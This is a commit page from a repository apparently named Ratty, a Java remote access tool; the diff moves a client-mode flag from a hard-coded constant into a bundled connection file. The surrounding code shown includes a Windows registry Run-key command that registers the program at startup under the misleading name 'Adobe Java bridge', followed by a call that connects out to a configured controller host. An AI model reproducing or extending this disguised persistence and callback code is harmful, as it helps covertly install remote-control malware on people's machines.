Browse Source

Minor changes

Loads the client flag from the config again
master
Sogomn 9 years ago
parent
commit
1691fce6db
  1. 3
      Ratty/res/connection_data.txt
  2. 8
      Ratty/src/de/sogomn/rat/Ratty.java

3
Ratty/res/connection_data.txt

@ -1,2 +1,3 @@
localhost localhost
23456
23456
false

8
Ratty/src/de/sogomn/rat/Ratty.java

@ -19,6 +19,7 @@ public final class Ratty {
private static String address; private static String address;
private static int port; private static int port;
private static boolean client;
private static final int CONNECTION_INTERVAL = 2500; private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
@ -29,7 +30,6 @@ public final class Ratty {
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
public static final String VERSION = "1.0"; public static final String VERSION = "1.0";
public static final boolean CLIENT = false;
private Ratty() { private Ratty() {
//... //...
@ -38,12 +38,14 @@ public final class Ratty {
private static void readConnectionData() { private static void readConnectionData() {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
if (lines.length >= 2) {
if (lines.length >= 3) {
final String addressString = lines[0]; final String addressString = lines[0];
final String portString = lines[1]; final String portString = lines[1];
final String clientString = lines[2];
address = addressString; address = addressString;
port = Integer.parseInt(portString); port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
} }
} }
@ -95,7 +97,7 @@ public final class Ratty {
WebLookAndFeel.install(); WebLookAndFeel.install();
readConnectionData(); readConnectionData();
if (CLIENT) {
if (client) {
addToStartup(); addToStartup();
connectToHost(address, port); connectToHost(address, port);
} else { } else {

Loading…
Cancel
Save